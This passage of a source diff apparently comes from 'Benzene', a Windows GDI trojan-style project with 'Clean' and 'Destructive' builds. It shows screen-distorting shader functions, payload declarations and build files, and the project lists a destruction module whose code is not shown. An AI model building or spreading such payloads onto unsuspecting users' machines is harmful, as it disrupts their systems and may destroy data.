|
| 1718 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 1719 |
+
|
| 1720 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1721 |
+
rgbDst.rgb &= crRainbow;
|
| 1722 |
+
|
| 1723 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1724 |
+
}
|
| 1725 |
+
}
|
| 1726 |
+
}
|
| 1727 |
+
|
| 1728 |
+
VOID
|
| 1729 |
+
WINAPI
|
| 1730 |
+
GdiShader21(
|
| 1731 |
+
_In_ INT t,
|
| 1732 |
+
_In_ INT w,
|
| 1733 |
+
_In_ INT h,
|
| 1734 |
+
_In_ HDC hdcTemp,
|
| 1735 |
+
_In_ HBITMAP hbmTemp,
|
| 1736 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1737 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1738 |
+
)
|
| 1739 |
+
{
|
| 1740 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1741 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1742 |
+
|
| 1743 |
+
UINT u;
|
| 1744 |
+
UINT v;
|
| 1745 |
+
RGBQUAD rgbDst;
|
| 1746 |
+
|
| 1747 |
+
for (INT y = 0; y < h; y++)
|
| 1748 |
+
{
|
| 1749 |
+
HSLCOLOR hsl;
|
| 1750 |
+
hsl.h = (FLOAT)fmod((DOUBLE)t / 15.0 + (DOUBLE)y / (DOUBLE)h * 1.f, 1.0);
|
| 1751 |
+
hsl.s = 1.f;
|
| 1752 |
+
hsl.l = .5f;
|
| 1753 |
+
COLORREF crRainbow = HSLToRGB(hsl).rgb;
|
| 1754 |
+
|
| 1755 |
+
FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
|
| 1756 |
+
|
| 1757 |
+
for (INT x = 0; x < w; x++)
|
| 1758 |
+
{
|
| 1759 |
+
u = (INT)(x * fabs(fmod((DOUBLE)a - (DOUBLE)(INT)(a * a), 1.0))) + x;
|
| 1760 |
+
v = y + (INT)(a * a);
|
| 1761 |
+
|
| 1762 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 1763 |
+
|
| 1764 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1765 |
+
rgbDst.rgb = rgbDst.rgb & 0xAAAAA;
|
| 1766 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1767 |
+
}
|
| 1768 |
+
}
|
| 1769 |
+
}
|
| 1770 |
+
|
| 1771 |
+
VOID
|
| 1772 |
+
WINAPI
|
| 1773 |
+
GdiShader22(
|
| 1774 |
+
_In_ INT t,
|
| 1775 |
+
_In_ INT w,
|
| 1776 |
+
_In_ INT h,
|
| 1777 |
+
_In_ HDC hdcTemp,
|
| 1778 |
+
_In_ HBITMAP hbmTemp,
|
| 1779 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1780 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1781 |
+
)
|
| 1782 |
+
{
|
| 1783 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1784 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1785 |
+
|
| 1786 |
+
UINT u;
|
| 1787 |
+
UINT v;
|
| 1788 |
+
RGBQUAD rgbDst;
|
| 1789 |
+
HSLCOLOR hsl;
|
| 1790 |
+
FLOAT _t = (FLOAT)t / 1.f;
|
| 1791 |
+
|
| 1792 |
+
for (INT y = 0; y < h; y++)
|
| 1793 |
+
{
|
| 1794 |
+
FLOAT _y = (FLOAT)y / 2.f;
|
| 1795 |
+
|
| 1796 |
+
for (INT x = 0; x < w; x++)
|
| 1797 |
+
{
|
| 1798 |
+
FLOAT a = FastCosine(_y + _t) * 9.f;
|
| 1799 |
+
|
| 1800 |
+
u = x + (INT)a, v = y;
|
| 1801 |
+
u %= w;
|
| 1802 |
+
v %= h;
|
| 1803 |
+
|
| 1804 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1805 |
+
FLOAT r = (FLOAT)prgbSrc[y * w + x].r;
|
| 1806 |
+
FLOAT g = (FLOAT)prgbSrc[y * w + x].g;
|
| 1807 |
+
FLOAT b = (FLOAT)prgbSrc[y * w + x].b;
|
| 1808 |
+
|
| 1809 |
+
//rgbDst.rgb = (COLORREF)0;
|
| 1810 |
+
hsl = RGBToHSL(rgbDst);
|
| 1811 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 45.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 64.f), 1.0);
|
| 1812 |
+
prgbDst[y * w + x] = HSLToRGB(hsl);
|
| 1813 |
+
}
|
| 1814 |
+
}
|
| 1815 |
+
}
|
| 1816 |
+
|
| 1817 |
+
VOID
|
| 1818 |
+
WINAPI
|
| 1819 |
+
GdiShader23(
|
| 1820 |
+
_In_ INT t,
|
| 1821 |
+
_In_ INT w,
|
| 1822 |
+
_In_ INT h,
|
| 1823 |
+
_In_ HDC hdcTemp,
|
| 1824 |
+
_In_ HBITMAP hbmTemp,
|
| 1825 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1826 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1827 |
+
)
|
| 1828 |
+
{
|
| 1829 |
+
UINT u;
|
| 1830 |
+
UINT v;
|
| 1831 |
+
RGBQUAD rgbDst;
|
| 1832 |
+
|
| 1833 |
+
for (INT y = 0; y < h; y++)
|
| 1834 |
+
{
|
| 1835 |
+
FLOAT a = FastSine((FLOAT)t / 8.f + (FLOAT)y / 64.f) * 4.f;
|
| 1836 |
+
|
| 1837 |
+
for (INT x = 0; x < w; x++)
|
| 1838 |
+
{
|
| 1839 |
+
u = x + t + (INT)a;
|
| 1840 |
+
v = y + t + (INT)a;
|
| 1841 |
+
|
| 1842 |
+
u %= w;
|
| 1843 |
+
v %= h;
|
| 1844 |
+
|
| 1845 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1846 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1847 |
+
}
|
| 1848 |
+
}
|
| 1849 |
+
}
|
| 1850 |
+
|
| 1851 |
+
VOID
|
| 1852 |
+
WINAPI
|
| 1853 |
+
GdiShader24(
|
| 1854 |
+
_In_ INT t,
|
| 1855 |
+
_In_ INT w,
|
| 1856 |
+
_In_ INT h,
|
| 1857 |
+
_In_ HDC hdcTemp,
|
| 1858 |
+
_In_ HBITMAP hbmTemp,
|
| 1859 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1860 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1861 |
+
)
|
| 1862 |
+
{
|
| 1863 |
+
UNREFERENCED_PARAMETER(t);
|
| 1864 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1865 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1866 |
+
UNREFERENCED_PARAMETER(prgbSrc);
|
| 1867 |
+
|
| 1868 |
+
RGBQUAD rgbDst;
|
| 1869 |
+
|
| 1870 |
+
for (INT y = 0; y < h; y++)
|
| 1871 |
+
{
|
| 1872 |
+
FLOAT a = FastSine((FLOAT)t / 100.f + (FLOAT)y / 10.f) * 9.f;
|
| 1873 |
+
for (INT x = 0; x < w; x++)
|
| 1874 |
+
{
|
| 1875 |
+
INT u = x + 0 + (INT)a;
|
| 1876 |
+
INT v = y;
|
| 1877 |
+
|
| 1878 |
+
u %= w;
|
| 1879 |
+
v %= h;
|
| 1880 |
+
|
| 1881 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1882 |
+
|
| 1883 |
+
rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 10) | ((rgbDst.r - 2) << 1));
|
| 1884 |
+
|
| 1885 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1886 |
+
}
|
| 1887 |
+
}
|
| 1888 |
+
}
|
| 1889 |
+
|
| 1890 |
+
VOID
|
| 1891 |
+
WINAPI
|
| 1892 |
+
FinalGdiShader(
|
| 1893 |
+
_In_ INT t,
|
| 1894 |
+
_In_ INT w,
|
| 1895 |
+
_In_ INT h,
|
| 1896 |
+
_In_ HDC hdcTemp,
|
| 1897 |
+
_In_ HBITMAP hbmTemp,
|
| 1898 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1899 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1900 |
+
)
|
| 1901 |
+
{
|
| 1902 |
+
UNREFERENCED_PARAMETER(t);
|
| 1903 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1904 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1905 |
+
UNREFERENCED_PARAMETER(prgbSrc);
|
| 1906 |
+
|
| 1907 |
+
RGBQUAD rgbDst;
|
| 1908 |
+
|
| 1909 |
+
for (INT i = 0; i < w * h; i += w)
|
| 1910 |
+
{
|
| 1911 |
+
rgbDst.rgb = (Xorshift32() % 256) * 0x010101;
|
| 1912 |
+
|
| 1913 |
+
for (INT j = 0; j < w; j++)
|
| 1914 |
+
{
|
| 1915 |
+
prgbDst[i + j] = rgbDst;
|
| 1916 |
+
}
|
| 1917 |
+
}
|
| 1918 |
+
}
|
src/Benzene-main/Clean/Benzene/payloads.h
ADDED
|
@@ -0,0 +1,106 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
#define TIMER_DELAY 100
|
| 5 |
+
#define PAYLOAD_MS 10000
|
| 6 |
+
#define PAYLOAD_TIME ( PAYLOAD_MS / TIMER_DELAY )
|
| 7 |
+
|
| 8 |
+
#define SineWave(t, freq, sampleCount) FastSine(2.f * 3.1415f * ((FLOAT)(freq) * (FLOAT)(t) / (FLOAT)(sampleCount)))
|
| 9 |
+
#define SquareWave(t, freq, sampleCount) (((BYTE)(2.f * (FLOAT)(freq) * ((t) / (FLOAT)(sampleCount))) % 2) == 0 ? 1.f : -1.f)
|
| 10 |
+
#define TriangleWave(t, freq, sampleCount) (4.f * ( FLOAT )fabs(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq))) - floor(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq)))) - .5f) - 1.f)
|
| 11 |
+
#define SawtoothWave(t, freq, sampleCount) (fmod(((FLOAT)(t) / (FLOAT)(sampleCount)), (1.f / (FLOAT)(freq))) * (FLOAT)(freq) * 2.f - 1.f)
|
| 12 |
+
|
| 13 |
+
VOID
|
| 14 |
+
WINAPI
|
| 15 |
+
AudioPayloadThread( VOID );
|
| 16 |
+
|
| 17 |
+
VOID
|
| 18 |
+
WINAPI
|
| 19 |
+
AudioSequenceThread(
|
| 20 |
+
_In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
|
| 21 |
+
);
|
| 22 |
+
|
| 23 |
+
VOID
|
| 24 |
+
WINAPI
|
| 25 |
+
ExecuteAudioSequence(
|
| 26 |
+
_In_ INT nSamplesPerSec,
|
| 27 |
+
_In_ INT nSampleCount,
|
| 28 |
+
_In_ AUDIO_SEQUENCE pAudioSequence,
|
| 29 |
+
_In_opt_ AUDIOSEQUENCE_OPERATION pPreSynthOp,
|
| 30 |
+
_In_opt_ AUDIOSEQUENCE_OPERATION pPostSynthOp
|
| 31 |
+
);
|
| 32 |
+
|
| 33 |
+
#define SYNTH_LENGTH 18
|
| 34 |
+
AUDIO_SEQUENCE AudioSequence1;
|
| 35 |
+
AUDIO_SEQUENCE AudioSequence2;
|
| 36 |
+
AUDIO_SEQUENCE AudioSequence3;
|
| 37 |
+
AUDIO_SEQUENCE AudioSequence4;
|
| 38 |
+
AUDIO_SEQUENCE AudioSequence5;
|
| 39 |
+
AUDIO_SEQUENCE AudioSequence6;
|
| 40 |
+
AUDIO_SEQUENCE AudioSequence7;
|
| 41 |
+
AUDIO_SEQUENCE AudioSequence8;
|
| 42 |
+
AUDIO_SEQUENCE AudioSequence9;
|
| 43 |
+
AUDIO_SEQUENCE AudioSequence10;
|
| 44 |
+
AUDIO_SEQUENCE AudioSequence11;
|
| 45 |
+
AUDIO_SEQUENCE AudioSequence12;
|
| 46 |
+
AUDIO_SEQUENCE AudioSequence13;
|
| 47 |
+
AUDIO_SEQUENCE AudioSequence14;
|
| 48 |
+
AUDIO_SEQUENCE AudioSequence15;
|
| 49 |
+
AUDIO_SEQUENCE AudioSequence16;
|
| 50 |
+
AUDIO_SEQUENCE AudioSequence17;
|
| 51 |
+
AUDIO_SEQUENCE AudioSequence18;
|
| 52 |
+
AUDIO_SEQUENCE FinalAudioSequence;
|
| 53 |
+
AUDIO_SEQUENCE_PARAMS pAudioSequences[ 25 ];
|
| 54 |
+
|
| 55 |
+
VOID
|
| 56 |
+
WINAPI
|
| 57 |
+
GdiShaderThread(
|
| 58 |
+
_In_ PGDISHADER_PARAMS pGdiShaderParams
|
| 59 |
+
);
|
| 60 |
+
|
| 61 |
+
VOID
|
| 62 |
+
WINAPI
|
| 63 |
+
ExecuteGdiShader(
|
| 64 |
+
_In_ HDC hdcDst,
|
| 65 |
+
_In_ RECT rcBounds,
|
| 66 |
+
_In_ INT nTime,
|
| 67 |
+
_In_ INT nDelay,
|
| 68 |
+
_In_ GDI_SHADER pGdiShader,
|
| 69 |
+
_In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
|
| 70 |
+
_In_opt_ GDI_SHADER_OPERATION pPostGdiShader
|
| 71 |
+
);
|
| 72 |
+
|
| 73 |
+
INT nShaderThreeSeed;
|
| 74 |
+
GDI_SHADER GdiShader1;
|
| 75 |
+
GDI_SHADER GdiShader2;
|
| 76 |
+
GDI_SHADER GdiShader3;
|
| 77 |
+
GDI_SHADER GdiShader4;
|
| 78 |
+
GDI_SHADER GdiShader5;
|
| 79 |
+
GDI_SHADER GdiShader6;
|
| 80 |
+
GDI_SHADER GdiShader7;
|
| 81 |
+
GDI_SHADER GdiShader8;
|
| 82 |
+
GDI_SHADER GdiShader9;
|
| 83 |
+
GDI_SHADER GdiShader10;
|
| 84 |
+
GDI_SHADER GdiShader11;
|
| 85 |
+
GDI_SHADER GdiShader12;
|
| 86 |
+
GDI_SHADER GdiShader13;
|
| 87 |
+
GDI_SHADER GdiShader14;
|
| 88 |
+
GDI_SHADER GdiShader15;
|
| 89 |
+
GDI_SHADER GdiShader16;
|
| 90 |
+
GDI_SHADER GdiShader17;
|
| 91 |
+
GDI_SHADER GdiShader18;
|
| 92 |
+
GDI_SHADER GdiShader19;
|
| 93 |
+
GDI_SHADER GdiShader20;
|
| 94 |
+
GDI_SHADER GdiShader21;
|
| 95 |
+
GDI_SHADER GdiShader22;
|
| 96 |
+
GDI_SHADER GdiShader23;
|
| 97 |
+
GDI_SHADER GdiShader24;
|
| 98 |
+
GDI_SHADER FinalGdiShader;
|
| 99 |
+
GDI_SHADER_OPERATION PreGdiShader1;
|
| 100 |
+
GDI_SHADER_OPERATION PostGdiShader1;
|
| 101 |
+
GDI_SHADER_OPERATION PostGdiShader2;
|
| 102 |
+
GDI_SHADER_OPERATION PostGdiShader3;
|
| 103 |
+
GDI_SHADER_OPERATION PostGdiShader4;
|
| 104 |
+
GDI_SHADER_OPERATION PostGdiShader5;
|
| 105 |
+
GDI_SHADER_OPERATION PostGdiShader6;
|
| 106 |
+
GDI_SHADER_PARAMS pGdiShaders[ 25 ];
|
src/Benzene-main/Clean/Benzene/resource.h
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//{{NO_DEPENDENCIES}}
|
| 2 |
+
// Microsoft Visual C++ generated include file.
|
| 3 |
+
// Used by Benzene.rc
|
| 4 |
+
|
| 5 |
+
// �V�����I�u�W�F�N�g�̎��̊���l
|
| 6 |
+
//
|
| 7 |
+
#ifdef APSTUDIO_INVOKED
|
| 8 |
+
#ifndef APSTUDIO_READONLY_SYMBOLS
|
| 9 |
+
#define _APS_NEXT_RESOURCE_VALUE 101
|
| 10 |
+
#define _APS_NEXT_COMMAND_VALUE 40001
|
| 11 |
+
#define _APS_NEXT_CONTROL_VALUE 1001
|
| 12 |
+
#define _APS_NEXT_SYMED_VALUE 101
|
| 13 |
+
#endif
|
| 14 |
+
#endif
|
src/Benzene-main/Clean/Benzene/resource1.h
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//{{NO_DEPENDENCIES}}
|
| 2 |
+
// Microsoft Visual C++ generated include file.
|
| 3 |
+
// Used by Benzene1.rc
|
| 4 |
+
|
| 5 |
+
// �V�����I�u�W�F�N�g�̎��̊���l
|
| 6 |
+
//
|
| 7 |
+
#ifdef APSTUDIO_INVOKED
|
| 8 |
+
#ifndef APSTUDIO_READONLY_SYMBOLS
|
| 9 |
+
#define _APS_NEXT_RESOURCE_VALUE 101
|
| 10 |
+
#define _APS_NEXT_COMMAND_VALUE 40001
|
| 11 |
+
#define _APS_NEXT_CONTROL_VALUE 1001
|
| 12 |
+
#define _APS_NEXT_SYMED_VALUE 101
|
| 13 |
+
#endif
|
| 14 |
+
#endif
|
src/Benzene-main/Clean/Benzene/resource2.h
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//{{NO_DEPENDENCIES}}
|
| 2 |
+
// Microsoft Visual C++ �Ő������ꂽ�C���N���[�h �t�@�C���B
|
| 3 |
+
// Benzene.rc �Ŏg�p
|
| 4 |
+
//
|
| 5 |
+
#define IDI_ICON1 101
|
| 6 |
+
#define IDI_ICON2 102
|
| 7 |
+
#define IDI_ICON3 104
|
| 8 |
+
#define IDI_ICON4 106
|
| 9 |
+
|
| 10 |
+
// Next default values for new objects
|
| 11 |
+
//
|
| 12 |
+
#ifdef APSTUDIO_INVOKED
|
| 13 |
+
#ifndef APSTUDIO_READONLY_SYMBOLS
|
| 14 |
+
#define _APS_NEXT_RESOURCE_VALUE 107
|
| 15 |
+
#define _APS_NEXT_COMMAND_VALUE 40001
|
| 16 |
+
#define _APS_NEXT_CONTROL_VALUE 1001
|
| 17 |
+
#define _APS_NEXT_SYMED_VALUE 101
|
| 18 |
+
#endif
|
| 19 |
+
#endif
|
src/Benzene-main/Clean/Benzene/threads.c
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include "benzene.h"
|
| 2 |
+
|
| 3 |
+
VOID
|
| 4 |
+
WINAPI
|
| 5 |
+
TimerThread(
|
| 6 |
+
VOID
|
| 7 |
+
)
|
| 8 |
+
{
|
| 9 |
+
SetTimer( NULL, 0, TIMER_DELAY, ( TIMERPROC )TimerProc );
|
| 10 |
+
|
| 11 |
+
MSG msg;
|
| 12 |
+
while ( GetMessageW( &msg, NULL, 0, 0 ) )
|
| 13 |
+
{
|
| 14 |
+
TranslateMessage( &msg );
|
| 15 |
+
DispatchMessageW( &msg );
|
| 16 |
+
}
|
| 17 |
+
}
|
src/Benzene-main/Clean/Benzene/threads.h
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
VOID
|
| 5 |
+
WINAPI
|
| 6 |
+
TimerThread(
|
| 7 |
+
VOID
|
| 8 |
+
);
|
src/Benzene-main/Destructive/Benzene.sln
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio Version 17
|
| 4 |
+
VisualStudioVersion = 17.2.32317.152
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Benzene", "Benzene\Benzene.vcxproj", "{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Release|x64 = Release|x64
|
| 11 |
+
Release|x86 = Release|x86
|
| 12 |
+
EndGlobalSection
|
| 13 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 14 |
+
{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.ActiveCfg = Release|x64
|
| 15 |
+
{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.Build.0 = Release|x64
|
| 16 |
+
{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.ActiveCfg = Release|Win32
|
| 17 |
+
{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.Build.0 = Release|Win32
|
| 18 |
+
EndGlobalSection
|
| 19 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 20 |
+
HideSolutionNode = FALSE
|
| 21 |
+
EndGlobalSection
|
| 22 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 23 |
+
SolutionGuid = {B9ADE6F0-3297-4736-88CE-1135D1B5CAAC}
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
EndGlobal
|
src/Benzene-main/Destructive/Benzene/Benzene.vcxproj
ADDED
|
@@ -0,0 +1,128 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
| 3 |
+
<ItemGroup Label="ProjectConfigurations">
|
| 4 |
+
<ProjectConfiguration Include="Release|Win32">
|
| 5 |
+
<Configuration>Release</Configuration>
|
| 6 |
+
<Platform>Win32</Platform>
|
| 7 |
+
</ProjectConfiguration>
|
| 8 |
+
<ProjectConfiguration Include="Release|x64">
|
| 9 |
+
<Configuration>Release</Configuration>
|
| 10 |
+
<Platform>x64</Platform>
|
| 11 |
+
</ProjectConfiguration>
|
| 12 |
+
</ItemGroup>
|
| 13 |
+
<ItemGroup>
|
| 14 |
+
<ClInclude Include="callbacks.h" />
|
| 15 |
+
<ClInclude Include="color.h" />
|
| 16 |
+
<ClInclude Include="def.h" />
|
| 17 |
+
<ClInclude Include="destruction.h" />
|
| 18 |
+
<ClInclude Include="extra_payloads.h" />
|
| 19 |
+
<ClInclude Include="math.h" />
|
| 20 |
+
<ClInclude Include="benzene.h" />
|
| 21 |
+
<ClInclude Include="payloads.h" />
|
| 22 |
+
<ClInclude Include="resource.h" />
|
| 23 |
+
<ClInclude Include="threads.h" />
|
| 24 |
+
</ItemGroup>
|
| 25 |
+
<ItemGroup>
|
| 26 |
+
<ClCompile Include="callbacks.c" />
|
| 27 |
+
<ClCompile Include="color.c" />
|
| 28 |
+
<ClCompile Include="destruction.c" />
|
| 29 |
+
<ClCompile Include="extra_payloads.c" />
|
| 30 |
+
<ClCompile Include="main.c" />
|
| 31 |
+
<ClCompile Include="math.c" />
|
| 32 |
+
<ClCompile Include="payloads.c" />
|
| 33 |
+
<ClCompile Include="threads.c" />
|
| 34 |
+
</ItemGroup>
|
| 35 |
+
<PropertyGroup Label="Globals">
|
| 36 |
+
<VCProjectVersion>16.0</VCProjectVersion>
|
| 37 |
+
<Keyword>Win32Proj</Keyword>
|
| 38 |
+
<ProjectGuid>{3a2dbcf5-a3ab-456d-8367-41d1f1e5e2b4}</ProjectGuid>
|
| 39 |
+
<RootNamespace>Benzene</RootNamespace>
|
| 40 |
+
<WindowsTargetPlatformVersion>7.0</WindowsTargetPlatformVersion>
|
| 41 |
+
</PropertyGroup>
|
| 42 |
+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
| 43 |
+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
| 44 |
+
<ConfigurationType>Application</ConfigurationType>
|
| 45 |
+
<UseDebugLibraries>false</UseDebugLibraries>
|
| 46 |
+
<PlatformToolset>v141_xp</PlatformToolset>
|
| 47 |
+
<WholeProgramOptimization>true</WholeProgramOptimization>
|
| 48 |
+
<CharacterSet>Unicode</CharacterSet>
|
| 49 |
+
</PropertyGroup>
|
| 50 |
+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
| 51 |
+
<ConfigurationType>Application</ConfigurationType>
|
| 52 |
+
<UseDebugLibraries>false</UseDebugLibraries>
|
| 53 |
+
<PlatformToolset>v141_xp</PlatformToolset>
|
| 54 |
+
<WholeProgramOptimization>true</WholeProgramOptimization>
|
| 55 |
+
<CharacterSet>Unicode</CharacterSet>
|
| 56 |
+
</PropertyGroup>
|
| 57 |
+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
| 58 |
+
<ImportGroup Label="ExtensionSettings">
|
| 59 |
+
</ImportGroup>
|
| 60 |
+
<ImportGroup Label="Shared">
|
| 61 |
+
</ImportGroup>
|
| 62 |
+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
| 63 |
+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
| 64 |
+
</ImportGroup>
|
| 65 |
+
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
| 66 |
+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
| 67 |
+
</ImportGroup>
|
| 68 |
+
<PropertyGroup Label="UserMacros" />
|
| 69 |
+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
| 70 |
+
<LinkIncremental>false</LinkIncremental>
|
| 71 |
+
<TargetName>$(ProjectName) x86</TargetName>
|
| 72 |
+
</PropertyGroup>
|
| 73 |
+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
| 74 |
+
<LinkIncremental>false</LinkIncremental>
|
| 75 |
+
